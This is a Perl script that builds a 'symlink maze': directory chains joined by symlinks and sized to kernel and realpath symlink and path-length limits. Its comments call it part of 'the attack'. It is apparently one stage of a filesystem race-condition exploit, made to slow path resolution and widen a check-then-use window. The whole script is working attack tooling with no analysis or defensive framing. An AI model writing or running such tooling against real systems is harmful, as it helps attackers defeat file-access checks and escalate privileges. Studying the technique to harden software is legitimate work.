#!/usr/bin/env perl

use strict;
use warnings;

use Cwd;
use List::Util qw(min); # This should be built in!!!
use Getopt::Long;

my $use_relative = 0;
GetOptions('relative' => \$use_relative) or die;

my ($num_chains, $chain_length, $mazedir1) = @ARGV;

#mkdir($mazedir1);
chdir($mazedir1) or die "chdir to maze dir: $!";
my $mazedir = getcwd();
opendir(my $mazedh, '.') or die "open maze dir: $!";

# This is now passed by the caller. 
#
## 40 for kernel, 20 for realpath (evidently)
## Leave 3 for the rest of the attack.
#my $max_symlinks_per_path = 20 - 3;
#my $num_chains = $max_symlinks_per_path - 1 - 1;  # enter, first
#
## Leave 100 for the rest of the attack.
#my $path_max_len = 4095 - 100; # not counting the null
#
#my $symlink_max_len = 3976; # based on testing reiserfs
#
#my $chain_length = int(min(
#	# Symlink target path must fit in $symlink_max_len.
#	$symlink_max_len - length("$mazedir/chainXX"),
#	# The target path of "first" plus the remaining "/n" components must
#	# fit in $path_max_len or realpath(3) will error out.
#	$path_max_len - length("$mazedir/chainXX") - length('/n' x $num_chains),
#	) / 2);

my $next_to = '.';
for (my $c = 0; $c < $num_chains; $c++) {
	my $chain_name = sprintf("chain%02d", $c);
	mkdir($chain_name) or die "mkdir(chain), c $c: $!";
	chdir($chain_name) or die "chdir(chain), c $c: $!";
	for (my $e = 0; $e < $chain_length; $e++) {
		mkdir('d') or die "mkdir(d), c $c, e $e: $!";
		chdir('d') or die "chdir(d), c $c, e $e: $!";
	}
	my $back_to =
		# Don't forget to climb out of the chain dir.
		($use_relative ? ('../' x $chain_length) . '../' : "$mazedir/");
	symlink($back_to . $next_to, 'n') or die "symlink(n), c $c: $!";
	chdir($mazedh) or die "chdir(mazedh): $!";
	$next_to = "$chain_name/" . ('d/' x $chain_length);
	# length($next_to) <= $symlink_max_len
}
symlink($next_to, 'first') or die "symlink(first): $!";

# Each of the (1 + $num_chains) components is a symlink.
my $enter_path = 'first' . ('/n' x $num_chains);
symlink($enter_path, 'enter') or die "symlink(enter): $!";

# Now, dereferencing 'enter' puts us back in the maze dir after
# following (1 + 1 + $num_chains) symlinks.  We have 3 symlinks left.
